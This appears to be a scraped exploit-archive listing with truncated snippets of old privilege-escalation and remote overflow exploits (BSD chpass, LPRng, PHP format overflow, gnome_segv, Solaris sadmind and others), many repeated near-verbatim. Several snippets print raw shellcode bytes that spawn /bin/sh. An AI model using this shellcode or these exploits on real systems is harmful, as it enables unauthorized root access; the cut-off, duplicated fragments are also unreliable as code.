BSD chpass - 'pw_error(3)' Local Privilege Escalation

/ TESO BSD chpass exploit - caddis greets: !teso, !w00w00, hert!, ozsecurity, plus613 / include char bsdshellcode = "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh"; char ptmpshellcode =...

BSD chpass - pw_error(3) Local Privilege Escalation

BSD chpass - pwerror3 Local Privilege Escalation / TESO BSD chpass exploit - caddis greets: !teso, !w00w00, hert!, ozsecurity, plus613 / include char bsdshellcode = "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80"...

BSD chpass (pw_error(3)) Local Root Exploit

Exploit for bsd platform in category local exploits =========================================== BSD chpass pwerror3 Local Root Exploit =========================================== / TESO BSD chpass exploit - caddis greets: !teso, !w00w00, hert!, ozsecurity, plus613 / include char bsdshellcode =...

Linux/x86 - Audio (knock knock knock) via /dev/dsp + setreuid(0,0) + execve() Shellcode (566 bytes)

Linux/x86 - Audio knock knock knock via /dev/dsp + setreuid0,0 + execve Shellcode 566 bytes. Shellcode exploit for Linuxx86 platform / Audio knock knock knock via /dev/dsp + setreuid0,0 + execve shellcode. Linux x86 Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / [email protected]...

Oops! 1.4.6 - one russi4n proxy-server Heap Buffer Overflow

Oops! 1.4.6 - one russi4n proxy-server Heap Buffer Overflow /--oopz.c---//-------------r-3-m-0-t-3---------------\------------- TARGET : oops-1.4.6 one russi4n proxy-server CLASS : remote 0S : FreeBSD 4.0 - 2 AUTH0R : diman VEND0R : wanna payment for support. I'm not doing his job, yeh? DATE :...

LPRng 3.6.222324 - Remote Command Execution

LPRng 3.6.222324 - Remote Command Execution / LPRng remote root exploit for x86 Linux 9/27/00 - sk8 tested on compiled LPRng 3.6.22/23/24 / include include char sc= "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff" "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39...

PHP 3.0.16/4.0.2 - Remote Format Overflow

/ PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau [email protected] my regards to sheib and darkx All rights reserved Pascal Boucheraine's paper was enlightening THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS...

gnome_segv - Local Buffer Overflow

/ gnomesegv local buffer overflow. Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / [email protected] 12/9/2000 This exploit was coded at overfiens in cali. Shouts to overfien and skeptik... h00t h00t. Bug found by skeptik. Tested on SuSE 6.4/2.2.14 non sid by default, p.o.e. only. ...

PHP 3.0.164.0.2 - Remote Format Overflow

PHP 3.0.164.0.2 - Remote Format Overflow / PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau [email protected] my regards to sheib and darkx All rights reserved Pascal Boucheraine's paper was enlightening THERE IS...

gnome_segv - Local Buffer Overflow

gnomesegv - Local Buffer Overflow / gnomesegv local buffer overflow. Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / [email protected] 12/9/2000 This exploit was coded at overfiens in cali. Shouts to overfien and skeptik... h00t h00t. Bug found by skeptik. Tested on SuSE 6.4/2.2.14...

PHP 3.0.16/4.0.2 Remote Format Overflow Exploit

Exploit for linux platform in category remote exploits =============================================== PHP 3.0.16/4.0.2 Remote Format Overflow Exploit =============================================== / PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Ant...

gnome_segv local buffer overflow

Exploit for linux platform in category local exploits ================================ gnomesegv local buffer overflow ================================ / gnomesegv local buffer overflow. Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / email protected 12/9/2000 This exploit was coded...

GnomeHack - Local Buffer Overflow

GnomeHack - Local Buffer Overflow / gnomehack local buffer overflow. gid=games60 Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / [email protected] 12/17/2000 Tested on Debian 2.2, kernel 2.2.17 - x86. sgid "games"60 by default. bash-2.03$ id uid=1000loophole gid=501noc bash-2.03$ ....

GnomeHack - Local Buffer Overflow

/ gnomehack local buffer overflow. gid=games60 Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / [email protected] 12/17/2000 Tested on Debian 2.2, kernel 2.2.17 - x86. sgid "games"60 by default. bash-2.03$ id uid=1000loophole gid=501noc bash-2.03$ ./h 0 0 Ret-addr 0x7fffe81c, offset...

dislocate 1.3 - Local i386

dislocate 1.3 - Local i386 / MasterSecuritY dislocate.c - Local i386 exploit in v1.3 Updated versions of this exploit and the corresponding advisory will be made available at: ftp://maxx.via.ecp.fr/dislocate/ This program is free software; you can redistribute it and/or modify it under the terms ...

dislocate 1.3 - Local i386

/ MasterSecuritY dislocate.c - Local i386 exploit in v1.3 Updated versions of this exploit and the corresponding advisory will be made available at: ftp://maxx.via.ecp.fr/dislocate/ This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public...

dislocate - Local i386 exploit in v1.3

Exploit for linux platform in category local exploits ====================================== dislocate - Local i386 exploit in v1.3 ====================================== / MasterSecuritY dislocate.c - Local i386 exploit in v1.3 Updated versions of this exploit and the corresponding advisory will...

HP-UX FTPD - Remote Buffer Overflow

/ theoretical exploit for hpux ftpd vulnerability / / not tested anywhere, needs tweaking / / c 2000 by babcia padlina ltd. / include include define NOPS 100 define BUFSIZE 1024 char shellcode = / HP-UX shellcode / "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b"...

phf buffer overflow exploit for Linux-x86

Exploit for cgi platform in category web applications ========================================= phf buffer overflow exploit for Linux-x86 ========================================= / | phx.c -- phf buffer overflow exploit for Linux-ix86 | Copyright c 2000 by proton. All rights reserved. | | This...

Solaris sadmind Remote Buffer Overflow Exploit

Exploit for solaris platform in category remote exploits ============================================== Solaris sadmind Remote Buffer Overflow Exploit ============================================== /\ Super Solaris sadmin Exploit by optyx based on sadminsparc. and sadminx86.c by Cheez Whiz /...